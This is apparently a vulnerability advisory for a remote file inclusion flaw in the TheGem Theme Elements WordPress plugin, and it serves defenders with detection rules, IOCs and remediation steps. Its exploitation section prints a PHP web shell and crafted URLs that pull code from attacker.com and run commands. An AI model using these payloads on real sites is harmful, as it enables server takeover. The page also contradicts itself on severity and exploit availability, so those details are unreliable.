CVE-2025-62045
Executive Summary
CVE-2025-62045 is a critical PHP Remote File Inclusion (RFI) vulnerability affecting the TheGem Theme Elements plugin for WPBakery, a WordPress ecosystem component. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary remote files. This can lead to full remote code execution (RCE), data exfiltration, and complete site compromise. The vulnerability affects all versions up to and including 5.10.5.1. No official patch has been confirmed, and no public exploit code is available at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem (TheGem Theme Elements for WPBakery). It is not an NPM, PyPI, Go, or Ruby package issue. The risk is amplified by the widespread use of the TheGem theme and WPBakery page builder, making it a high-value target for automated attacks.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full file read access possible.
- Integrity (I): High (H) – Arbitrary file inclusion can modify site content.
- Availability (A): High (H) – Can lead to denial of service or full takeover.
CVSS Score: 8.1 (High) – This score reflects the ease of exploitation and the severe impact on confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability is a classic PHP Remote File Inclusion (RFI) (CWE-98). The TheGem Theme Elements plugin for WPBakery uses user-supplied input to construct a file path for PHP's include() or require() functions without proper sanitization. An attacker can manipulate this input to point to a remote server hosting a malicious PHP file.
Attack Flow:
- The plugin accepts a parameter (e.g.,
?template=) that is directly concatenated into aninclude()statement. - An attacker sends a crafted request:
?template=http://attacker.com/shell.txt. - The server fetches
shell.txtfrom the attacker's server and executes it as PHP code. - The attacker gains arbitrary code execution on the WordPress server.
Root Cause: Lack of input validation and failure to restrict allow_url_include (if enabled) or use a whitelist of allowed paths.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
// Vulnerable: Direct user input used in include
$template = $_GET['template'];
include($template . '.php');
?>
Patched Code (Conceptual):
<?php
// Patched: Whitelist allowed templates
$allowed_templates = ['default', 'fullwidth', 'sidebar'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
include(__DIR__ . '/templates/' . $template . '.php');
} else {
// Handle error
include(__DIR__ . '/templates/default.php');
}
?>
Key Differences:
- Input Validation: Patched version uses a whitelist to restrict allowed values.
- Path Restriction: Patched version uses
__DIR__to prevent directory traversal and remote inclusion. - Error Handling: Patched version falls back to a safe default.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress instance with TheGem Theme Elements <= 5.10.5.1.
- A remote server to host the malicious payload.
Exploitation Steps:
- Host a malicious PHP file on your attacker server (e.g.,
shell.txt):<?php system($_GET['cmd']); ?> - Craft the exploit URL:
(Note: Thehttp://target.com/?template=http://attacker.com/shell.phpextension is appended by the vulnerable code.) - Execute commands:
http://target.com/?template=http://attacker.com/shell&cmd=id
Expected Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Blue Team (Defensive)
Detection & Prevention:
- Disable
allow_url_includeinphp.ini:allow_url_include = Off - Monitor web server logs for suspicious
?template=parameters containinghttp://orhttps://. - Implement a Web Application Firewall (WAF) rule to block RFI patterns:
SecRule ARGS "((http|https|ftp)://)" "id:1000,deny,msg:'RFI Attempt'" - Use file integrity monitoring to detect unexpected changes in WordPress files.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound connections to unknown IPs/domains on port 80/443.
- HTTP requests with
?template=http://or?template=https://in the query string.
File System IOCs:
- Unexpected
.phpfiles inwp-content/uploads/orwp-content/plugins/. - Modified core WordPress files (e.g.,
wp-config.php).
Log IOCs:
- Web server logs showing
include()errors with remote URLs. - PHP error logs containing
PHP Warning: include(http://...).
Detection Engineering
YARA Rule
rule CVE_2025_62045_RFI_Detection {
meta:
description = "Detects RFI attempts targeting CVE-2025-62045 in TheGem Theme Elements"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-62045"
strings:
$rfipattern1 = /template=http:\/\// nocase
$rfipattern2 = /template=https:\/\// nocase
$rfipattern3 = /template=ftp:\/\// nocase
condition:
any of them
}
Sigma Rule
title: CVE-2025-62045 RFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit RFI in TheGem Theme Elements
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- 'template=http://'
- 'template=https://'
- 'template=ftp://'
condition: selection
falsepositives:
- Legitimate use of external templates (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-62045 RFI Attempt"; flow:to_server; content:"template="; nocase; content:"http://"; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the TheGem Theme Elements plugin until a patch is available.
- Set
allow_url_include = Offinphp.iniand restart the web server. - Implement a WAF rule to block RFI patterns (see Blue Team section).
Long-Term Fix:
- Apply the vendor patch once released (monitor CodexThemes for updates).
- Upgrade to a patched version (currently unknown).
- Replace the plugin with an alternative if no patch is provided.
Workaround:
- Modify the vulnerable code manually if you have developer access (see Patched Code section).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.